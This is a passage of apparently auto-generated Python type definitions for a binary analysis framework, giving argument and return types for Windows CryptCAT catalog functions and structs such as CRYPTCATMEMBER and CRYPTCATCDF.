'CryptCATPutCatAttrInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["hCatalog", "pwszReferenceTag", "dwAttrTypeAndAction", "cbData", "pbData"]),
#
'CryptCATEnumerateCatAttr': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["hCatalog", "pPrevAttr"]),
#
'CryptCATGetMemberInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), arg_names=["hCatalog", "pwszReferenceTag"]),
#
'CryptCATAllocSortedMemberInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), arg_names=["hCatalog", "pwszReferenceTag"]),
#
'CryptCATFreeSortedMemberInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0)], SimTypeBottom(label="Void"), arg_names=["hCatalog", "pCatMember"]),
#
'CryptCATGetAttrInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["hCatalog", "pCatMember", "pwszReferenceTag"]),
#
'CryptCATPutMemberInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeBottom(label="Guid"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), arg_names=["hCatalog", "pwszFileName", "pwszReferenceTag", "pgSubjectType", "dwCertVersion", "cbSIPIndirectData", "pbSIPIndirectData"]),
#
'CryptCATPutAttrInfo': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Byte"), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["hCatalog", "pCatMember", "pwszReferenceTag", "dwAttrTypeAndAction", "cbData", "pbData"]),
#
'CryptCATEnumerateMember': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), arg_names=["hCatalog", "pPrevMember"]),
#
'CryptCATEnumerateAttr': SimTypeFunction([SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), "DigestAlgorithm": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Parameters": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ALGORITHM_IDENTIFIER", pack=False, align=None), "Digest": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="SIP_INDIRECT_DATA", pack=False, align=None), offset=0), "dwCertVersion": SimTypeInt(signed=False, label="UInt32"), "dwReserved": SimTypeInt(signed=False, label="UInt32"), "hReserved": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "sEncodedIndirectData": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None), "sEncodedMemberInfo": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPTCATMEMBER", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["hCatalog", "pCatMember", "pPrevAttr"]),
#
'CryptCATCDFOpen': SimTypeFunction([SimTypePointer(SimTypeChar(label="Char"), offset=0), SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeBottom(label="Void"), arg_names=["dwErrorArea", "dwLocalError", "pwszLine"]), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "dwCurFilePos": SimTypeInt(signed=False, label="UInt32"), "dwLastMemberOffset": SimTypeInt(signed=False, label="UInt32"), "fEOF": SimTypeInt(signed=True, label="Int32"), "pwszResultDir": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hCATStore": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATCDF", pack=False, align=None), offset=0), arg_names=["pwszFilePath", "pfnParseError"]),
#
'CryptCATCDFClose': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "dwCurFilePos": SimTypeInt(signed=False, label="UInt32"), "dwLastMemberOffset": SimTypeInt(signed=False, label="UInt32"), "fEOF": SimTypeInt(signed=True, label="Int32"), "pwszResultDir": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hCATStore": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATCDF", pack=False, align=None), offset=0)], SimTypeInt(signed=True, label="Int32"), arg_names=["pCDF"]),
#
'CryptCATCDFEnumCatAttributes': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "dwCurFilePos": SimTypeInt(signed=False, label="UInt32"), "dwLastMemberOffset": SimTypeInt(signed=False, label="UInt32"), "fEOF": SimTypeInt(signed=True, label="Int32"), "pwszResultDir": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hCATStore": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATCDF", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), SimTypePointer(SimTypeFunction([SimTypeInt(signed=False, label="UInt32"), SimTypeInt(signed=False, label="UInt32"), SimTypePointer(SimTypeChar(label="Char"), offset=0)], SimTypeBottom(label="Void"), arg_names=["dwErrorArea", "dwLocalError", "pwszLine"]), offset=0)], SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "dwAttrTypeAndAction": SimTypeInt(signed=False, label="UInt32"), "cbValue": SimTypeInt(signed=False, label="UInt32"), "pbValue": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "dwReserved": SimTypeInt(signed=False, label="UInt32")}, name="CRYPTCATATTRIBUTE", pack=False, align=None), offset=0), arg_names=["pCDF", "pPrevAttr", "pfnParseError"]),
#
'CryptCATCDFEnumMembers': SimTypeFunction([SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "hFile": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0), "dwCurFilePos": SimTypeInt(signed=False, label="UInt32"), "dwLastMemberOffset": SimTypeInt(signed=False, label="UInt32"), "fEOF": SimTypeInt(signed=True, label="Int32"), "pwszResultDir": SimTypePointer(SimTypeChar(label="Char"), offset=0), "hCATStore": SimTypePointer(SimTypeInt(signed=True, label="Int"), label="IntPtr", offset=0)}, name="CRYPTCATCDF", pack=False, align=None), offset=0), SimTypePointer(SimStruct({"cbStruct": SimTypeInt(signed=False, label="UInt32"), "pwszReferenceTag": SimTypePointer(SimTypeChar(label="Char"), offset=0), "pwszFileName": SimTypePointer(SimTypeChar(label="Char"), offset=0), "gSubjectType": SimTypeBottom(label="Guid"), "fdwMemberFlags": SimTypeInt(signed=False, label="UInt32"), "pIndirectData": SimTypePointer(SimStruct({"Data": SimStruct({"pszObjId": SimTypePointer(SimTypeChar(label="Byte"), offset=0), "Value": SimStruct({"cbData": SimTypeInt(signed=False, label="UInt32"), "pbData": SimTypePointer(SimTypeChar(label="Byte"), offset=0)}, name="CRYPTOAPI_BLOB", pack=False, align=None)}, name="CRYPT_ATTRIBUTE_TYPE_VALUE", pack=False, align=None), 